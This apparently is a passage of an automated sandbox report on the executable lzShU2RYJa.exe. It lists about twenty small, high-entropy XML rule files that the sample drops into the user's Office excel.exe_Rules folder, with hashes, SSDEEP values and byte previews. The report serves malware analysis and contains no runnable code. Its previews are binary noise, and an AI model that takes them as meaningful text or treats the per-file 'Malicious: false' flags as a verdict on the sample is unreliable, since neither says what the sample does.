MD5:	62596E8AA6D2631B8B4858DE808115BD
SHA1:	801A17C649C9B13E3FFADE6825F1F0D20F11FA7E
SHA-256:	DB27FF5FB03522315ED5C97BB7292F0770F5EAB5639536C8718E08A3DB1E815A
SHA-512:	FAA8EF8C22B1DD3CEE4E1F1DD8E6B41B62C1103D00D566142864E416F19A00A5CEC88AA7CACE84A41F55E8DEE58E8408607C90E330D5BB3E9F44B59CE6E91FD6
Malicious:	false
Preview:	<?xml.e .=.cz^...^....._cu.bR6.&..z2P.A.,..V"...(\|....X/g..........!.>..yI.]g....9>....^w'.K..s.oR..q8.7....1...(.f.&.\|1\|D..y...Mg.7.^ ...]..i..../.`.....J...k.... =....AWM}{..C.......>[.#Q..\|2...s.}1.Y......:.H..1+cc;U.x3...(.=U..">...O...;.t..u...!.p..W...`..m....PP.1uB4.........}.......!.x.$OY.Hf#h..Q.>..P....wI......l..t...E%3.....`]..P..:.uX.].~.wD.Q..6........\...4.....d..X.x(...$.<L[.Mx.`r.a..I'..f1.R..,...E.o.f.lU.s{....uGbQhz.{.CT5...u...X:.O...-..V0.&.T7....)...t......S..v8..Fn\...;..K...0$.j.[J;.....Cq..]......k{.X.V...wn.$/>2......9...o....G......f.`.FKC..U,.tl..i..}....I=N.*1./Lb.....h...o@.q......d....Ic.S!.6itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.719285992082987
Encrypted:	false
SSDEEP:	24:zSYTd1aidybugEM+fbwyjT/vhcqqF7QhsDJXZVbD:baEbfbwyjT/vhcDF7QhupFD
MD5:	81188BB25A7ECF8C5FA0E9A46AB45114
SHA1:	51BB4C24590A8A40615B2C9AE7C4430ACE92DD23
SHA-256:	68CD737F4383636A8D277227DAC19D413DB5D0B185C944EF752598FD06684F51
SHA-512:	96B7AE6B756CC4AED3B6E710F7C83AE381844149970D5B06ECF056E98F89A6FC6267A94F0640E7C1B40C98B4B2530FC58ABC66FE5211C3D878F778D9F922A935
Malicious:	false
Preview:	<?xml..g..2f.>...S(o"..~M.....sM.d3...@5..Z.[<Y.Y..S.o.....J....)`..ut.......#.....i... 6...G.y[L...z..h.[.b.%"..."...PW..H....y.I&0.\|B....3:.r.f.wa....I...../W}..P....K.}T.f..v......K.;.....U/......g?..u.U#.z..a.@..&6....6..]..d.....\|r.Jfge.E...z...-f.E<-4@...26..8.>......g..-..LT.w....#^zt...D...".tV.+A.Tp.....\r4^xh..x...$JZ.....<.;..xO{...l..[.{/.Kt..Gy....c.K.m._.pD...\9...F.....d.mK>...:..~...@....I.E[......>.A.....2...`.8...]......$.i.~...D..RW......U..........: ..&...hc....W.a_..TAtQS...H...2C3...Q[!q_g..y.~..7#.~..7..~...9h.....~.2.j....r.6.......X...Ms.....r.}..T...../@l.......^.Yz.ta..3Om..j....6..\O..6.s..\|...$.<..h.-....S..[v...h&..U.-mT6....R...Y.A.OR..A.[..2L....,.....of....r&itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.711254683879911
Encrypted:	false
SSDEEP:	12:o6TnybaLyVUn3Jupo2PrOatTfFONf/JR94GEt6AZg5p1V/m0MlwbmjVcii9a:RnXmV6upNPr1R+JR94Tt6z5lO4bkVbD
MD5:	50F5401F4B776D96476B7693B466E05C
SHA1:	352A58CD4704B5DF6508966BD5CF0009843C41D8
SHA-256:	F946E4D11F98E470A125F688B2D2675AA028819951F59DA4188B67792E8D143A
SHA-512:	4C12A956A9027EFCE607FC9E4537EB5A8F80AF7300F33BCF8631568F2B01C9084BE1A3F5117614D830F1F0DF447CB10B51A16F25B66978735B5A0CDF88E9E7A8
Malicious:	false
Preview:	<?xml3.zTI....t.+dG....X@5J..5..b.E.!.1...O._..f\|.W8....$5....H6.5.L....J...a.....+....E..B........[/.3.i8N...._.a.0....r.z..5Fl;..s.$``.2..j.....9.(..N.U...;..G.2..,..B#%p.=.?P$..^wkN.LA^..{Y..W.C..aa.....H".C.p...M..=1Q...u.k....~....)b<...Sc.]5..q`.._.,..M.1..T...A..{&....(.....`.ndA.9.o..2.5.....R56..e...>Ke..9.1u.........J..$..W...H.Sq.W......Fk..C.y.%m.Pl.......\|`.u.~...r....Z....9.og...m......8Kr..a.O.WV...0l..v....\.la...8....d.?[.Wh..J.A....ks.%../...W..Hh[.}.E.2..R.Z..]).VA.u.1...Y?_.,......Y/....qWT..f.1z..\|......$.... b19a3.<D.=Yl...Q....t...h.:R5Vzv...j,....[..V...t....Vs..Aj........'.%UB...]...lJ...xM.y&I'.......3J)4.W....3.[.ititkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.782229874380353
Encrypted:	false
SSDEEP:	24:c1Rr/aSYi3CjqMEMda5xHu3sS9QtuLVbD:cLAiy2MQY8S9QtIFD
MD5:	06B21C20E2C3EA052540CB9847D2800F
SHA1:	73646A90B6E5D9A2BF763BFB51FAD5C08D042D19
SHA-256:	E1FC824586378FD06CD5308A123E148DF4CE3E3A3920C9B68D0FC83C6D90CDEF
SHA-512:	2FC3C9EDE1FCE7D2D9F334FEB7558CE5DE3BC14C8969F1D3FA7073E3A9C23B07B21B42183F9B3DDAFB643F9284826BC6A1F605FBF3308787A36AE908BE43791B
Malicious:	false
Preview:	<?xml;E._JLYK....P.I..2.Hpu_.ka.!+....8....h......t_....!..x..1...........XS.pB..Q......}..u!b .X!.0.;{........&.O....m.[..].y....8.e.n/..t^..w..X{.U..W.......q;.O........#A.2..V..j....Q....^..g.....".p.E.J...q[kC..^..P.M....".h.o_......1..lm?Q...G..>.C\.2.@._.?.UD%Q.C}c......F...sanU.,1/9.w......<..1.$.H....N.l...`(s..K..z..........;...d.r...............m..2<...C=...:.[.l.S.rB.....&.@..c,#.P..p}B..s.P.....d.......`..c4c..9t..Z.'E.ol.m 8..@'........b5..B.OY.T.us.`.l...7M.Q.7...m:.....}I.Hvh......6.1..S.i....c.r..........(n.9Q,..~...'..7>.:.O.".....%X.T...c......_.........<,.Ob..'4...G?.<U....Q.PuqG..r.8.4(..@.Q..I....p.....\.]89......S}.j...K..}~d1..p..... .m8w^..3.h..\|..n...HR..k...GA-g....Gi..I.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.6908866293887
Encrypted:	false
SSDEEP:	12:y6waK6QFIcAIKARzos9fTcOPE64gKzRTvzP0SVjyDh4QkuW8LfPoiQxYkbFDSjVX:0aKFOcAzgJcOPE7gKzrVOt4QkHk3f+Da
MD5:	A0D3526871B21013F6D8988A7CA5A14A
SHA1:	96FA72068BC3E0C46E4BD933CF7D8F6347B028E8
SHA-256:	734DA8D92DE3996BA9E280D14DC31B4C3D58C06EFCE04D9C68C5C6B0B0176568
SHA-512:	52D752E7F05D3FF18FF46010759146E3625C194D31B741652A4F92B0C35A50C952EE477894FD0976380D22F99EBF2B2B61EA6744C869CDB363B0FC1AB64A9F3D
Malicious:	false
Preview:	<?xml.{r..3...._/.?.....\.&X4[/%.0.-..5..c...V~..G..K.k9.0..]....0+..9>.8.z,....8....q..C..7..17...G.t......~..UC.8.9.&<...3..moy..m.Y{.8.!..a..y..c.i.].Z.FY....G,.CM.z....(.V......'..../.......>(a.xH.S.,Wd.W.2_z...=.d..8r.p.#.~r.`......L...6M.....+7<...j.Q..)..u.<.....G).p.a.'.]f...#......Zm.bF....Sxmk...+...A.W..Ni`...j.&...a$.....t..g..y/8... k.........T.t..su.I.>.]...j.pr..B.F?H........D.gE...u.E.X..Cq..y..C.ar`......,.J.w..YdS.WZ...&^3..N..r..6....&....k..inK..5..A5..Y21....<...u........#..n.<.W...il.W..HF........!f.y>.Z.m.4...h]L,oqq.....j/i.@ SM..i...b.]..Q,..?..p0._'.....;.}.......m7......+m>.....K........'.S.....U...f]A0.M0.\itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.678332053207359
Encrypted:	false
SSDEEP:	24:bZzeXL8phDipZAIQuwuMyd6qQ0EkbhOKVbD:bZzebOXPBuME/rFD
MD5:	FB5EC3052E3ED4C7F4AC4092ADB2B5FB
SHA1:	7ECD3E17C4EAD21F62908AAB80CBF8BC0C01E64E
SHA-256:	7CE9A5CBD864CDD4E8C0A7C3F1BFDC69C7360EAA295ED3E369A6F6EDCFC83053
SHA-512:	4286F473628B80AB0373BB745ADBACFB33B85461237D5B5E79D041ADCC4EA3CCD4BE4B31BB5883DB9AD2EFC5C0F310A72EA42EDE780381EB82782D2C7914F0A3
Malicious:	false
Preview:	<?xml..[$.D...Em.k.Pr.1..\|......&.a.\|.t.......v....S........U.$....Fz.M4..fHgYl...x~..v.....E}...m..v....?..%..P......,.4.hM.e..B...Cu...?7.......}...o:....?.....".9$q.7."q..../o-...)..a.j....$A ..T.7.E.....V.z...U....#...u..D.j....q?..f.\.xRF..g...P0.Z.[..I`..U...X..n......Fd.......b.l.XF...be..m..@q:..x.V...b.1.g]M.=.........&.^...W~`.F4..Fh...-..&.o."..T..O....3..\|E.TiE6.n.{.?.q`......l.Q...u...{.lvK7._9V..#.0j.l^.A.["h...B.......x..\W....=.....S..x....W...BH...[.....6...9wQ..\|...Y...fI.<....'.. \.l.;.#...{...{...;{Af..\x".E.\...U....:...l..gOV..Jfd.L...7@K.-..08..$.....a.....A....<A...Q..5...&.L..... ....NKo.......+., t..%D_.~..r.f....0f..{.&%..1.'H..k.m2e .\|.Z$..j=.k...g7hX)..witkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.655936182868751
Encrypted:	false
SSDEEP:	12:jJ6yqoVVDaf9uP2xxMkUeGNCD/3RKASStzT//tTKp1oQTM8RLAOnx67hrfXBOxj9:QN2sqkUeN/fhtzTX8p1ck7mrfX4ZVbD
MD5:	D2D7CC8A5E395814489438CC8AF7EBAA
SHA1:	5C37FAE96BF7C6101F3ADE2D810671B63715A3A4
SHA-256:	BED6F3425B842FE3477630807F851C144D8C75046895F4C0860FFAFEF9DC9C02
SHA-512:	5D8D4F8B57B4541E6CE87D3176CA39C8BD15B2C8249AB94223EAD453102F080AC35F6CA8A435CE999362E7372A47BE785FD955A2E845712A735D35A4FE2CD546
Malicious:	false
Preview:	<?xml.........kOW.J..>....'...Y..j1..7[.(V.._..i=<.L....;?..f..%&.4..7.c\|..!..[...[...../.uu..6..}gl.P2.IPr..u.-`..2.6. ..w.P. ..~.PBz.\wTY..i...3K..KP...-.4.!}../vwj^...`j...fv..C...v..+`...l.WI.4.~}..........j..2J.W7....'.../dY...b..\2v...D.....]...{.`.{._...^.h.r.....D.{A.m&.....{.c..Y4.G.Cy+.T.....-@.7Y...,..F,.=...~GM.{PM...1......T(......U.[.V.....3...1o......:..F+..,.....Y.W..IN..%.s.J...R....)7..z..JU..o..P.w.F...x{W.e.'.o.m.....}I..E..A...%.P.>.mTS4F..S......F.K.KU.... .V.....u.S.xf...XFk.M.I...h.$.z.....2..Z.cW.d...@......."{1.LF...p..Lc,%VA5........(..m.ku_B.soeMk...k.1t.#'bz..h...N..c.%...7.{.."..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.751543424075985
Encrypted:	false
SSDEEP:	24:2pgiXfKyMSai+LU3dvswW+VNeFRPVGnVbD:OspU3dTWCeFxVGnFD
MD5:	12CDAF7FC9041874180C22B9AF966574
SHA1:	9E4E98A3F793FE7C85E519595F4093A287CCFC8F
SHA-256:	CA63FE9AE098B988B2D3D0118D4EDDA75DABB29F79AC6ACEEE68ED31877D01E7
SHA-512:	6082928D41F81AAE2E935E29A3FD2C45637FB8B4DDD81A4C23231757F8A0C380B317C432B3BF747017E18364542E6D1E5561730AE39655B11EB51045A59BE72D
Malicious:	false
Preview:	<?xml.AJ.~....T...Q..8.>.....w.z..m....`E..Y...{Xq.(T.yC.\1X...;Q..B.I..ck.H..Pbp[....Ao....Qz...9U.yM.j..!.`mSgb..x.....4.=...wh..o.....;......d.Z.@....w...4}...L...t.D.)h0...4.%?.......BF..`;......Ej...=t....'o3.'...p.;.dS....P....8.......y..q...z1.6.....4>..H..m..>..........K....8P.=.c....TW.KJ.:..+......g.Z.D...`..3%SRPz..Du..<.rq..z...CJ}4X.4.... ..j.....!.N...J...~.L.....A.9..5..Qi.C..6...,.xI...*..a..F.f.^..3..M....Q.jW...P.5.;a...AB&..T7....[.4L../l..Ld>).ck...m...x.......E..V.~...d.g..1.....v+...'#....bH......%".c_..6.2T.N..~.....{.. h...(.G.p..{b5.Z./.^n.h..{.@a)T..e.V..9.....0d..^.....N.......[sPVA....+..h.?7...OS..;W..Ul.....+._zs"".(7l.X...T....\|i.(.....$.G..P~nitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.7039972621299375
Encrypted:	false
SSDEEP:	12:atQ9s+7Yuyzg3/8FQwPgoAc3GQKpJj3nbk54b7Ff3/vuHx/pr7fr77bWyC8ejVcq:aq9XY5s/twPgoD/kjXM4b753/vExr7f0
MD5:	7ABCA7A5FFC550F8E7342096A290C540
SHA1:	31F43D8E23E76D12ECF3C4A0AFBF5403DC7B0BC3
SHA-256:	261549A03671DC4D3699AA940A917E6F939830ADE15205111B37AE3B926B2440
SHA-512:	F21BF71C1950EBF88B855A8A460C98C4EFAE67E5F370CEFC5788B8163BB17FF69D8D914040DB170AB6AC787F0F2692136B8187878FFBDD69319229897EC59A94
Malicious:	false
Preview:	<?xml.h.5d..._C ...$..I.Tx6;..P".4.".5..j..jWSR....(h...QxZ<.;?P......1....KtD......L.d=.D....q$.%..7..`.Uc.`{...kn.1.=..U.......#.....V.].W...~...}zx.w..Y...:.z....Q......!.S..f...SU.....>-J..R.E...kM...1........L...\|&k.Z.6.....c...\|..G.(p...Eo..n ..a3....]c.....w...........0:=..Rq.....a....$4......i3f..........VJ.O.s...u.[5....R..o.$8....D...l...'...c...\...7...z.x=..\|.\.a/..W.].].....6C....?.. V..w.E..! &.:..T...............Y....%'...A...WGD^....w..3.....ki...'...........T.\.C......(....q....t.vq...6...`.C..C..~..F..<}o,..........B?.^....x..\.&.Mrj.....F..h.~.$N.o..Z.......#.....T@..{..X).Y'....O.&...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.707540181585845
Encrypted:	false
SSDEEP:	12:H1VnW3KE15loxCPqS8aYWdSGmWln+9viBZYqSQU0iPLqAzqKgn5vclGAo5jVciik:VVO5loxCIa9ZlS2QZzvgdc3yVbD
MD5:	9C77769822057CB571A918E15D7144F4
SHA1:	7612CF5BD8DE466FA6C48D81AD0B513ECD5B435D
SHA-256:	D2C080692F1B31471DF6E2B685429DFB327EC9E832ADC86A7175021A08E501DC
SHA-512:	75BB9CE4DDDD6B4914FB22730BE289C293C595AD3B2F596BC018A66809F1BB46879F3136F1B87CB3F9F7AA6AED8AE344474558BDD17FC771A6C7EC26DC684B83
Malicious:	false
Preview:	<?xml.i.u.7Y.B6.....L..93.JekDC=........(7.k...T.Z.L.y;`.5..f..$+C....s.j.o.`..P.en..18...Ic1.Q....o.C..G.(.dt%`o,)..A..J ...i.k..f'=R5....v.s.'..l...U..G_..............ai.k..}....hW.J. O-n......@...m...y......2......r.e:[...4.D.....{'..g.z...3;......Ld.."H.kY&...........c'..^`..h.....;..tWT..#.....MNl.l....].2.......8M...GU.Y......d6....P.Ty]..nP.ud....}+a+.e...de.........<.....g&B3.B.8]...<.F..W..<."L<..1.L.l....k...uM,...D.....o..HO..C........H...L.A..9........Z...~G../m...^....kK....U.M.n....G7!...........;.....v...s..f.f`6 A........._.t.F.:.-.pnS....X..%!...tl.b...>.Z;vB.r..0.3.#j.x..HB..$.H..9.4~Qo_.20l..2..,....=....G....^4i.....B{.,s.L.CyD...5e.+.o+S...;1."w4f.p~.H..LH..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.716949431667938
Encrypted:	false
SSDEEP:	12:mpD+DRk+8/DHyeNWKH0O1REYhbA9Zycdq/t/WTD61JbZ56k3hUF1iNU0jVcii9a:mtak7/OeNWKH31RxtAXwdS67bTCF10F9
MD5:	15DC53075C32A4FDA987ADFA99F60D5B
SHA1:	24A147998016892336E80860307C4A147BDAF950
SHA-256:	AC2E5564D711773EB4936453FC313DA06CE9EC63A5E5A6CC651586F39AA0B4F7
SHA-512:	8FDFEE28BCEA93BD12E1B3EE32714F2434346A55F9546C32D38876CAC1D1862373CE0F8474FBD06CE87D46165EAD4613438A6D07D62068E98B173558643E88CC
Malicious:	false
Preview:	<?xmlZ.WP&.S..I....4.uW..\|..F.......(.".....,...P....%R"..t.&.].....Z.A.....e6.T......h.C1.A.V...(.......K1=.uN"ma.........F!.&Z.Quu..._.W)..".&.....%9%...$m...&..j..X.J~..M......\n`A'.!.B.pwj.}hO..I.b>D.U.t.O..a..9S......<i.s...R.Z..l..3*....!....y\|.F.F..{i..t.F..._..zC4C..+@....c..7@...n...F% ..h....b(....}..>..G. .c....s.Ch.wb.;.{.qF ....=.......F...h.,../...Y...i...~K..a{.. ....>...V.].`I^..8F.2..r.Qq..^.A(.k.d.L..9........ ....<....B.m...N.h..M...xI.<.y.R5..Z...C.9<.Gp4o...Y.c1....Z..'K/.&....!5.A.<.'+.d^..9.........}]C.._....4.B.G...f.%w.......J...KP.t.[.....J%#..D.k....oc......&x0.BJ...M...Wp..\|.T...........e]._...8.#..l.B..5.)p..)itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.756043633853733
Encrypted:	false
SSDEEP:	12:gxq2kDzOxlG0nmWGoOjGwrzl4p6302/gyWJpcmWx0DuqGF6qe8pGeBt+lMjVciik:gxkv2DnDGNjrJy6PHWHjyaqexjlWVbD
MD5:	4C05F2C25329E6CB0D7AACB1119DA4C9
SHA1:	23CA45B2AB61ECF62289D5DD904F5E48B4A147D7
SHA-256:	FEFDA52350AFDB7B63963244C1F28F3F529173F88CDB3C1AF47975ABC594E765
SHA-512:	75833A936218A58CEC6C557B0043F8AF39E04005125C50B48E16E5721AEE828B167682623FC06646B7B0FC28BE3740C183248DEFD1123D879827AB8DE274FBDB
Malicious:	false
Preview:	<?xml].....K.[.q..I.....J..A.....S..........5....f..cIk"L.w.9.6.....NX..Z2.x@8.-.'.o....,L....^..34.w....Z_.....4.X1.ShM..Wu.G..u.!..2.&.;.%G..{9.U>v"..~s3.j<.A..:..LaR..7.M.1.....f.OrA...-D.=..:....6zB.T.....{f.mC.1:V(..F...n..-..r..@Xy....3A7...v.K#.\|C.N..wji;pg.....Y...a3.I.!a.K..0.M.qh......6..N.'.V.......^Y..*-$....3..e.U.W@.y"......O..M0.%...!..~.q(..................../..I...i .v..;?...v.u..d1..su...0].......jFr...y.I..w./.....ba..<..p..Q._.q.=/..Z.BW.."....8og?..2)...hI......+..m.).r.....C=....&..}.O.S.=...nH....;.>..1...c...0.me.:p8....3..P..i[....]........J..........'.^.... ~^.....w.>.p.?.,.)V......S..p....G!.b.k.B..L..V..x.W.84...j2.'j:YV\.vh.3.#.T.%:..).h....8+.......;itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.708697187342052
Encrypted:	false
SSDEEP:	12:F8qkpdf/PPqzf1r7CSojTMrFUhuhg9bur8OieH/CljAXeqNg85DNqyqDDQwjVciD:FkPqz0j2h+PemjOeqNjGy+VbD
MD5:	0D3ABD4591F4EC7B39A098AD724F5B86
SHA1:	53640943759A3ADC07893117125027CC987E1D56
SHA-256:	2B217ED3FCAAF7D7959923DF82059D1F50F154D11DBD80E928EEAFD0BDAE8D78
SHA-512:	E28B689CC6378735E9A8FA07A8D1E53E0E81838281E887136B4EB8A37CBDEF2DED03C18C1BE0B37C2C85EDACB0E5D7132DE3F4F2646EAAA8BE810ADD9974FCC6
Malicious:	false
Preview:	<?xmlw....M.F.~....I..%..n.[.5;..H....S.rp...... e.....[.......W..A...l7.....5..O.....6{.7...^.}5...\|...cOs.rl.YpU+d...~M%...rW....\.t.........=h.;..QN..N..X= I.....XCU..Ld.n7..7.d....k5.n.O.Kv...;.R.....c..o.zG...yb..D...M.E..f....p..4......S..]_.,.c....T0!..._. ....^.6.d..@..d.pq...l&'^b.g.k...O..~(....A6U.*1L"...Psi....c..J< ..].{....q.C.0...c.(J.#..........i.E~3.v..&.#.Vh......;...D..$p.......bEL3/.~....n...Z...N......!y...b...........8N.)..#.Ur.YP.p.@N#j...^.......L.....M..'.......o...a....:b.]s.;Yc[..?..o.R.....4%..5...4..7\|.....`..X2....8..h...4.S......R^.7^`d.....~L......p.g..8......NG[I..[....6\|.t.v....Nv.KBR]y4.......T../.....=.^..!~`d..Witkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.7296343001091605
Encrypted:	false
SSDEEP:	24:1Oujea4U0JwmuHqW2HLtggGMr30gzx8L9bmBbFcVbD:wuivU0TGk7DrkQYoBbFcFD
MD5:	5F1A21305C3033225E57071E81C3DC7A
SHA1:	CEC73E8B68412E7D553F5D5A2B5341193C205CED
SHA-256:	28114C7DA255056B1F5FE4C07236FB3F45462468C187580A4BC342FE4C71AB66
SHA-512:	3FA844EA5253F49658B19A745A84F850BA94CB4CEFF0286534B6DEB02423036A6BFDAECBB1C829BA926CA1467D9C9E0514B647EF4F897FE34CA584EEE1993B8B
Malicious:	false
Preview:	<?xml.vEi.s.rk../...&..q .F4Q..8..*.D..7:..z...;.7.[ip..\|....X.P.P......<.g...{.."\|.#.W.h.\d..:<Z..... 1..9;.sAH.cS...M..5..6........1.;...=..o..O.g.w...../N..L^f....n.q.RE......s.......;..TFe..#%%..z.'..S...6.....C..9.D.Az...?^.$n..y...%%W..Nu....(..?....&.....U4.9..q..E..A..l4.ad.K>.5....{..lk...............@..@.M.q?.`.$.c..U...... @.EQC.t..3..db...u...p.5..Sp}....c.r..........1...p..XLN......F.xC .>.j.#B......6w....".Kh%v.. .^7-B;.-...r{.....kZ...9........~..(t.....?b..-..k..3E.j8.W..G.O=...E..{\|....:..'b.,.X[..;aM.MX..B.!.....i...../.........^_.dD....i....5..._..Z...W"..,.D3.U..V..\|.H.7.K...V........N..Q.:.r3....# .!w;.M..X....C....q.\|%.>\|.F.a.$...<b...;./0g..M.@l)..Os...e.4...G.H.....{...z.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.67845781930742
Encrypted:	false
SSDEEP:	12:TVcX5mRncoNUyAzKZGr3C7R8L1OSLzDhztBFcPKd7uFquxcHQrRn3wjVcii9a:TVSYncoNUXgG27R8L1nFcPuKrKHQrB3C
MD5:	157EA8D14C5E9236520413C093BBB4D2
SHA1:	A2D520B4F5E183B2A097173162F804F2F2676F47
SHA-256:	EA867FC319C98579F35DBCB5BD54785E39F6BE597C02A94AC28137467240BAC7
SHA-512:	964BCC0BA5051A677095D045A63ACA2B450213353B16A555CA42CC58C169BB49276080FB87FFB66698BC9DB7FC2915DC6FA91C6DED9E8B3152B8A8136125A33C
Malicious:	false
Preview:	<?xml.X>...kW....^.......~..A:.z.t...8.t.3.\|.F......1."w.2.!.s%.jo.........@.H.C&fl...'km.}..q2.m..z%~.~....!.M..6.....c..w\|...E.S..t.X......?..9.w..o....%k.R."..5i.....v...&.z..&..xW..\|..4..z....3.]5...7.....)]XY..v....\.yT.A....J.q.=.r..U....s...R'O%2.?.(.Q3.:..-}\|........:_\|...u13.wB.W.o....=..-I.2}.K...P...by..r...\|....<..f6.X]7W.v...C....sk...z.j"`.i..K..$M.....B"x.-.....S...P..#k..B.....l...:.Q.H...CSQ..5$.WDV...Q.6/.M.P15....aU.-/.sgBc..9.....%r..p4" ...Av...D84.8C..W.w........R.......ML".*c...13.:.3. .BpP...Lqv8..,.b..Ar.R.$h.....h[........uF..3f@7[.5,0WP:....'..r..'.&..5..@..j.QoV.n..On...\|....k..:....D......F~..VUQ....6.Y.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.704794333970465
Encrypted:	false
SSDEEP:	24:L1tG+pKixNmS240Q0cjoR2PmlAj3fVY4iG6X+5VbD:jpphNkDCM2Pm23fVqh+5FD
MD5:	7110BC7B3039E1E05FAF9AB1A2F9C5C3
SHA1:	580348F669A5F460BE9F4F9719A00585F62DD119
SHA-256:	69616C4D7F4B099A7796732E3FC2768B973FCC5CEF039ADA3415FDE8E8538671
SHA-512:	5C1068EB31C53826731A90955BDD3C80ADC80E4897C04AE240D1A579E5CFD65BF0E255230993A96916940E73C8E1D5820B254CB861674CE3CF54A0BE5AEF2AB2
Malicious:	false
